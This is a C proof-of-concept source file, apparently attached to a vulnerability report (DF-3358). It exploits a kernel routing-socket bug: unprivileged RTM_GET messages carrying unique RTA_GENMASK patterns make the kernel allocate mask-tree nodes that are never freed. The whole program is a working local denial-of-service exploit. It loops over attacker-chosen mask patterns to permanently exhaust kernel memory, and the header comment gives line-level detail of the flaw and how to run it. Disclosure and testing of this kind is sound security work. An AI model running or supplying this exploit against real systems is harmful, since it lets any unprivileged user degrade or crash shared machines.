DF-3358 / rtmask_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-3358 PoC: unprivileged permanent kernel memory consumption via * PF_ROUTE RTM_GET + RTA_GENMASK (rtmask_add_global pollution). * * sys/net/rtsock.c route_output(): RTM_GET is the ONE message type an * unprivileged user may send (priv check skips it, rtsock.c:738), yet the * hoisted genmask handler (rtsock.c:742-748) calls rtmask_add_global() * for EVERY message type including RTM_GET, before the switch. * * rtmask_add_global -> per-CPU rn_addmask(add) (sys/net/route.c:1762, * sys/net/radix.c:587) allocates RN_MAXKEYLEN + 2*sizeof(radix_node) * (=128 bytes) PER UNIQUE MASK PATTERN PER CPU and inserts it into the * global per-CPU mask trees. Mask-tree nodes are NEVER freed (no free * path exists for rn_addmask allocations). Key space is attacker-chosen * (32 bytes), so it is unbounded. * * Usage: rtmask_poc <iterations> [same-mask] * iterations: number of RTM_GET messages to send * same-mask: optional; if set, reuse ONE mask pattern (control run; * should show ~zero growth). * * Run as an UNPRIVILEGED user. Measure with: * vmstat -m | grep routetbl */ #include <sys/types.h> #include <sys/socket.h> #include <sys/param.h> #include <net/route.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define GENM_LEN 33 /* sa_len of the genmask sockaddr */ int main(int argc, char **argv) { unsigned long iters, i; int s, same = 0; struct { struct rt_msghdr rtm; struct sockaddr_in dst; /* RT_ROUNDUP(16) = 16 */ unsigned char gen[40]; /* RT_ROUNDUP(33) = 40 */ } msg; if (argc < 2) { fprintf(stderr, "usage: %s <iterations> [same-mask]\n", argv[0]); return 2; } iters = strtoul(argv[1], NULL, 0); if (argc > 2) same = 1; if (getuid() == 0) fprintf(stderr, "note: running as root; bug needs no " "privilege, run as any user\n"); s = socket(PF_ROUTE, SOCK_RAW, 0); if (s < 0) { perror("socket(PF_ROUTE)"); return 1; } for (i = 0; i < iters; i++) { ssize_t n; uint32_t ctr; memset(&msg, 0, sizeof(msg)); msg.rtm.rtm_msglen = sizeof(msg); msg.rtm.rtm_version = RTM_VERSION; msg.rtm.rtm_type = RTM_GET; msg.rtm.rtm_flags = 0; msg.rtm.rtm_seq = (int)i; /* RTA_DST | RTA_GENMASK */ msg.rtm.rtm_addrs = RTA_DST | RTA_GENMASK; /* dst: 10.<i&255>.<i>>8>.1 — plain AF_INET sockaddr */ msg.dst.sin_len = sizeof(msg.dst); msg.dst.sin_family = AF_INET; msg.dst.sin_addr.s_addr = htonl( (10U << 24) | ((i & 0xff) << 16) | (((i >> 8) & 0xff) << 8) | 1); /* genmask: unique 33-byte pattern per message. * byte 0 sa_len = 33 * byte 1 family (part of the radix key, keep fixed) * bytes 2..5 counter (unique) * bytes 6..30 filler * byte 31 0x01 (nonzero: defeats trailing-zero trim) */ ctr = same ? 0xdeadbeefU : (uint32_t)i; memset(msg.gen, 0x5a, 40); msg.gen[0] = GENM_LEN; msg.gen[1] = AF_INET; memcpy(&msg.gen[2], &ctr, 4); msg.gen[31] = 0x01; n = write(s, &msg, sizeof(msg)); if (n < 0) { /* ESRCH is expected (no such route); the genmask is * installed BEFORE the lookup, so the failure still * consumed kernel memory. */ if (errno != ESRCH) { fprintf(stderr, "iter %lu: unexpected errno %d (%s)\n", i, errno, strerror(errno)); return 1; } } else if (n != (ssize_t)sizeof(msg)) { fprintf(stderr, "short write %zd\n", n); return 1; } if ((i % 10000) == 0) fprintf(stderr, "sent %lu/%lu\n", i, iters); } printf("done: %lu RTM_GET messages (unique mask: %s)\n", iters, same ? "NO (control)" : "YES"); return 0; } |